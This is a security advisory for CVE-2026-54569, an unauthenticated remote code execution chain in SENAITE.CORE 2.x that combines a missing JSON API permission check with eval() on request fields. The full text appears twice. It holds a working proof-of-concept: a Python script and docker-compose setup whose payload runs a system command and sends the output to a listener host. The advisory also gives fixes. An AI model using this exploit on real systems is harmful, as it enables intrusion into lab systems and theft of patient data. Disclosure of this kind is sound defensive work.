CVE-2026-54569

### Summary An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The `/@@API/update` route is reachable to anonymous callers and runs `eval()` on attacker-controlled input before any permission check fires. This is a different code path from the `eval()` in the calculations module: no authenticated account of any kind is required. ### Details The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the `eval` sink remains exploitable by any authenticated user with write access to a `RecordsField`, so both fixes are needed. **1. Missing `AccessJSONAPI` gate on JSON API write routes (CWE-862).** The route at [`src/bika/lims/jsonapi/update.py:45-165`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/update.py#L45-L165) does not enforce the `senaite.core: Access JSON API` permission upfront. Compare with the sibling [`create.py:179-182`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/create.py#L179-L182), which does: ```python if not getSecurityManager().checkPermission(AccessJSONAPI, parent): raise Unauthorized(...) ``` The check is present on `create` and absent on `update`, `update_many`, `remove`, `doActionFor`, `doActionFor_many`, and `getusers`. The underlying `@@API` view is registered by `plone.jsonapi.core` at [`browser/configure.zcml:8-13`](https://github.com/collective/plone.jsonapi.core/blob/0.6/src/plone/jsonapi/core/browser/configure.zcml#L8-L13) with `permission="zope2.View"`, which is granted to Anonymous on the Plone Site root. When an `obj_uid` is supplied, the route resolves the target through `uid_catalog` and `brain.getObject()`. The catalog brain walks the parent path with `unrestrictedTraverse` and applies `restrictedTraverse` only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because `bika_setup` is anonymous-readable on a stock Plone Site (the `View` permission is acquired from the Plone Site root, which grants `View` to `Anonymous` by default). **2. `eval()` on `RecordsField` / `RecordField` values inside `set_fields_from_request` (CWE-95).** Once an object has been resolved, [`set_fields_from_request` in `jsonapi/__init__.py:199-252`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L199-L252) iterates the request fields. For any field of type `RecordsField` or `RecordField`, the helper runs `eval(value)` on the raw request string at [line 240](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L240), **before** the field mutator and its `write_permission` check execute: ```python elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = eval(value) except Exception: logger.warning( "JSONAPI: " + fieldname + ": Invalid " "JSON/Python variable") return [] ``` The `eval` runs in the Zope worker process with full Python builtins available, so a payload such as `__import__('os').popen('id').read()` executes arbitrary system commands. The transaction savepoint inside `update.py` rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted. The same `eval()` pattern is also present in the field setters at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143). **Anonymous UID discovery.** The `bika_setup` object exposes two `RecordsField`-typed fields: `RejectionReasons` and `IDFormatting`. Its UID is published anonymously by Plone's standard [`@@uuid`](https://github.com/plone/plone.app.uuid) view: ``` GET /senaite/bika_setup/@@uuid HTTP/1.1 HTTP/1.1 200 OK Content-Type: text/plain 8dbc161fa9f74aa4ad6e76eb1934518a ``` **Origin.** Both flaws predate the SENAITE fork. The `eval()` sink was introduced in [`d7bf2d4507`](https://github.com/senaite/senaite.core/commit/d7bf2d4507) (2013-09-04) and the unchecked `update` route in [`be3d8cc916`](https://github.com/senaite/senaite.core/commit/be3d8cc916) (2013). Both remain present on the current 2.x development tip. ### Suggested fixes **Fix 1: add `AccessJSONAPI` check to every state-changing route** in `src/bika/lims/jsonapi/`, mirroring the existing check in `create.py`. An audit of every `IRouteProvider` in [`configure.zcml`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/configure.zcml) is in scope. ```python # src/bika/lims/jsonapi/update.py from AccessControl import getSecurityManager from zExceptions import Unauthorized from senaite.core.permissions import AccessJSONAPI def update(self, context, request): if not getSecurityManager().checkPermission(AccessJSONAPI, context): raise Unauthorized("You don't have permission to update via JSONAPI") savepoint = transaction.savepoint() ... ``` **Fix 2: replace `eval()` with `json.loads()`.** The data shape stored in `RecordField` and `RecordsField` is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely: ```python # src/bika/lims/jsonapi/__init__.py import json elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = json.loads(value) except (ValueError, TypeError): logger.warning("JSONAPI: %s: invalid JSON value", fieldname) return [] ``` Apply the same change at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143). **Defense in depth: re-enable Plone's CSRF protection.** The audited release ships with `class ISenaiteCore(IDisableCSRFProtection)` at [`src/senaite/core/interfaces/__init__.py:30`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/interfaces/__init__.py#L30), which disables `plone.protect`'s automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains. ### PoC Tested against the unmodified upstream Docker image `senaite/senaite:v2.6.0`. No source-code modification, no buildout overrides, no reverse proxy. `PASSWORD` is set to a non-default value to demonstrate that the chain works without the `admin:admin` Docker fallback. **`docker-compose.yml`** ```yaml services: senaite: image: senaite/senaite:v2.6.0 ports: - "8080:8080" environment: PASSWORD: senaitestrong # non-default; chain is credential-free SITE: senaite networks: - poc listener: image: python:3.11-alpine command: - python - -c - | import http.server, socketserver log = [] class H(http.server.BaseHTTPRequestHandler): def do_GET(self): if self.path.startswith('/log'): self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers() self.wfile.write(('\n'.join(log)).encode()) else: log.append(self.path) self.send_response(200); self.end_headers(); self.wfile.write(b'ok') def log_message(self, *a, **k): pass socketserver.TCPServer.allow_reuse_address = True with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever() ports: - "8000:8000" networks: - poc networks: poc: ``` **`poc.py`** ```python #!/usr/bin/env python3 """PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0""" import sys, time, urllib.error, urllib.parse, urllib.request TARGET = "http://localhost:8080" SITE = "senaite" LISTENER_HOST = "http://localhost:8000" LISTENER_INSIDE = "http://listener:8000" PAYLOAD = ( "__import__('urllib2').urlopen(" f"'{LISTENER_INSIDE}/?id=' + " "__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')" ")" ) def http_get(url, timeout=5): req = urllib.request.Request(url, headers={"Accept": "*/*"}) return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore") def http_post(url, fields, timeout=10): body = urllib.parse.urlencode(fields).encode() req = urllib.request.Request(url, data=body, method="POST") return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore") def wait_for_target(): deadline = time.time() + 600 while time.time() < deadline: try: with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r: if r.status == 200: return except Exception: pass time.sleep(3) sys.exit(1) def discover_bika_setup_uid(): body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip() if len(body) == 32 and all(c in "0123456789abcdef" for c in body): return body sys.exit(1) def fire_payload(uid): try: http_post(f"{TARGET}/{SITE}/@@API/update", {"obj_uid": uid, "RejectionReasons": PAYLOAD}) except urllib.error.HTTPError: pass def read_listener(): time.sleep(1) try: log = http_get(f"{LISTENER_HOST}/log", timeout=3) except Exception: return False return "id=" in log if __name__ == "__main__": wait_for_target() uid = discover_bika_setup_uid() fire_payload(uid) sys.exit(0 if read_listener() else 1) ``` **Run** ``` docker compose up -d # wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning python3 poc.py ``` **Expected output** ``` [+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0 captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_ ``` The captured query string is the stdout of `id` from the SENAITE Zope worker, fetched by the worker's `urllib2.urlopen` call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials. ### Impact **Vulnerability type:** Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection). **Who is impacted:** Every SENAITE deployment whose Plone Site root grants `View` to Anonymous (the upstream default) and whose `/@@API/...` endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships `8080:8080` plain HTTP and `/manage` (ZMI) exposed. **Attacker capability after exploit:** - Arbitrary Python execution in the Zope worker process. - Full read/write access to the ZODB (`Data.fs` and `blobstorage`), so any patient/lab data the LIMS holds. - Filesystem access on the container's `/data` volume. - Outbound network egress from the worker. - Direct access to `acl_users` (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed `/manage` ZMI, this gives durable post-exploitation access. **Affected versions:** All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0). ### Credits Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security. - Dr. Simon Weber - Dipl.-Inf. Volker Schönefeld - Chiara Fliegner Website: https://machinespirits.com

### Summary An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The `/@@API/update` route is reachable to anonymous callers and runs `eval()` on attacker-controlled input before any permission check fires. This is a different code path from the `eval()` in the calculations module: no authenticated account of any kind is required. ### Details The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the `eval` sink remains exploitable by any authenticated user with write access to a `RecordsField`, so both fixes are needed. **1. Missing `AccessJSONAPI` gate on JSON API write routes (CWE-862).** The route at [`src/bika/lims/jsonapi/update.py:45-165`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/update.py#L45-L165) does not enforce the `senaite.core: Access JSON API` permission upfront. Compare with the sibling [`create.py:179-182`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/create.py#L179-L182), which does: ```python if not getSecurityManager().checkPermission(AccessJSONAPI, parent): raise Unauthorized(...) ``` The check is present on `create` and absent on `update`, `update_many`, `remove`, `doActionFor`, `doActionFor_many`, and `getusers`. The underlying `@@API` view is registered by `plone.jsonapi.core` at [`browser/configure.zcml:8-13`](https://github.com/collective/plone.jsonapi.core/blob/0.6/src/plone/jsonapi/core/browser/configure.zcml#L8-L13) with `permission="zope2.View"`, which is granted to Anonymous on the Plone Site root. When an `obj_uid` is supplied, the route resolves the target through `uid_catalog` and `brain.getObject()`. The catalog brain walks the parent path with `unrestrictedTraverse` and applies `restrictedTraverse` only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because `bika_setup` is anonymous-readable on a stock Plone Site (the `View` permission is acquired from the Plone Site root, which grants `View` to `Anonymous` by default). **2. `eval()` on `RecordsField` / `RecordField` values inside `set_fields_from_request` (CWE-95).** Once an object has been resolved, [`set_fields_from_request` in `jsonapi/__init__.py:199-252`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L199-L252) iterates the request fields. For any field of type `RecordsField` or `RecordField`, the helper runs `eval(value)` on the raw request string at [line 240](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L240), **before** the field mutator and its `write_permission` check execute: ```python elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = eval(value) except Exception: logger.warning( "JSONAPI: " + fieldname + ": Invalid " "JSON/Python variable") return [] ``` The `eval` runs in the Zope worker process with full Python builtins available, so a payload such as `__import__('os').popen('id').read()` executes arbitrary system commands. The transaction savepoint inside `update.py` rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted. The same `eval()` pattern is also present in the field setters at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143). **Anonymous UID discovery.** The `bika_setup` object exposes two `RecordsField`-typed fields: `RejectionReasons` and `IDFormatting`. Its UID is published anonymously by Plone's standard [`@@uuid`](https://github.com/plone/plone.app.uuid) view: ``` GET /senaite/bika_setup/@@uuid HTTP/1.1 HTTP/1.1 200 OK Content-Type: text/plain 8dbc161fa9f74aa4ad6e76eb1934518a ``` **Origin.** Both flaws predate the SENAITE fork. The `eval()` sink was introduced in [`d7bf2d4507`](https://github.com/senaite/senaite.core/commit/d7bf2d4507) (2013-09-04) and the unchecked `update` route in [`be3d8cc916`](https://github.com/senaite/senaite.core/commit/be3d8cc916) (2013). Both remain present on the current 2.x development tip. ### Suggested fixes **Fix 1: add `AccessJSONAPI` check to every state-changing route** in `src/bika/lims/jsonapi/`, mirroring the existing check in `create.py`. An audit of every `IRouteProvider` in [`configure.zcml`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/configure.zcml) is in scope. ```python # src/bika/lims/jsonapi/update.py from AccessControl import getSecurityManager from zExceptions import Unauthorized from senaite.core.permissions import AccessJSONAPI def update(self, context, request): if not getSecurityManager().checkPermission(AccessJSONAPI, context): raise Unauthorized("You don't have permission to update via JSONAPI") savepoint = transaction.savepoint() ... ``` **Fix 2: replace `eval()` with `json.loads()`.** The data shape stored in `RecordField` and `RecordsField` is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely: ```python # src/bika/lims/jsonapi/__init__.py import json elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = json.loads(value) except (ValueError, TypeError): logger.warning("JSONAPI: %s: invalid JSON value", fieldname) return [] ``` Apply the same change at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143). **Defense in depth: re-enable Plone's CSRF protection.** The audited release ships with `class ISenaiteCore(IDisableCSRFProtection)` at [`src/senaite/core/interfaces/__init__.py:30`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/interfaces/__init__.py#L30), which disables `plone.protect`'s automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains. ### PoC Tested against the unmodified upstream Docker image `senaite/senaite:v2.6.0`. No source-code modification, no buildout overrides, no reverse proxy. `PASSWORD` is set to a non-default value to demonstrate that the chain works without the `admin:admin` Docker fallback. **`docker-compose.yml`** ```yaml services: senaite: image: senaite/senaite:v2.6.0 ports: - "8080:8080" environment: PASSWORD: senaitestrong # non-default; chain is credential-free SITE: senaite networks: - poc listener: image: python:3.11-alpine command: - python - -c - | import http.server, socketserver log = [] class H(http.server.BaseHTTPRequestHandler): def do_GET(self): if self.path.startswith('/log'): self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers() self.wfile.write(('\n'.join(log)).encode()) else: log.append(self.path) self.send_response(200); self.end_headers(); self.wfile.write(b'ok') def log_message(self, *a, **k): pass socketserver.TCPServer.allow_reuse_address = True with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever() ports: - "8000:8000" networks: - poc networks: poc: ``` **`poc.py`** ```python #!/usr/bin/env python3 """PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0""" import sys, time, urllib.error, urllib.parse, urllib.request TARGET = "http://localhost:8080" SITE = "senaite" LISTENER_HOST = "http://localhost:8000" LISTENER_INSIDE = "http://listener:8000" PAYLOAD = ( "__import__('urllib2').urlopen(" f"'{LISTENER_INSIDE}/?id=' + " "__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')" ")" ) def http_get(url, timeout=5): req = urllib.request.Request(url, headers={"Accept": "*/*"}) return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore") def http_post(url, fields, timeout=10): body = urllib.parse.urlencode(fields).encode() req = urllib.request.Request(url, data=body, method="POST") return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore") def wait_for_target(): deadline = time.time() + 600 while time.time() < deadline: try: with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r: if r.status == 200: return except Exception: pass time.sleep(3) sys.exit(1) def discover_bika_setup_uid(): body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip() if len(body) == 32 and all(c in "0123456789abcdef" for c in body): return body sys.exit(1) def fire_payload(uid): try: http_post(f"{TARGET}/{SITE}/@@API/update", {"obj_uid": uid, "RejectionReasons": PAYLOAD}) except urllib.error.HTTPError: pass def read_listener(): time.sleep(1) try: log = http_get(f"{LISTENER_HOST}/log", timeout=3) except Exception: return False return "id=" in log if __name__ == "__main__": wait_for_target() uid = discover_bika_setup_uid() fire_payload(uid) sys.exit(0 if read_listener() else 1) ``` **Run** ``` docker compose up -d # wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning python3 poc.py ``` **Expected output** ``` [+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0 captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_ ``` The captured query string is the stdout of `id` from the SENAITE Zope worker, fetched by the worker's `urllib2.urlopen` call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials. ### Impact **Vulnerability type:** Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection). **Who is impacted:** Every SENAITE deployment whose Plone Site root grants `View` to Anonymous (the upstream default) and whose `/@@API/...` endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships `8080:8080` plain HTTP and `/manage` (ZMI) exposed. **Attacker capability after exploit:** - Arbitrary Python execution in the Zope worker process. - Full read/write access to the ZODB (`Data.fs` and `blobstorage`), so any patient/lab data the LIMS holds. - Filesystem access on the container's `/data` volume. - Outbound network egress from the worker. - Direct access to `acl_users` (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed `/manage` ZMI, this gives durable post-exploitation access. **Affected versions:** All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0). ### Credits Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security. - Dr. Simon Weber - Dipl.-Inf. Volker Schönefeld - Chiara Fliegner Website: https://machinespirits.com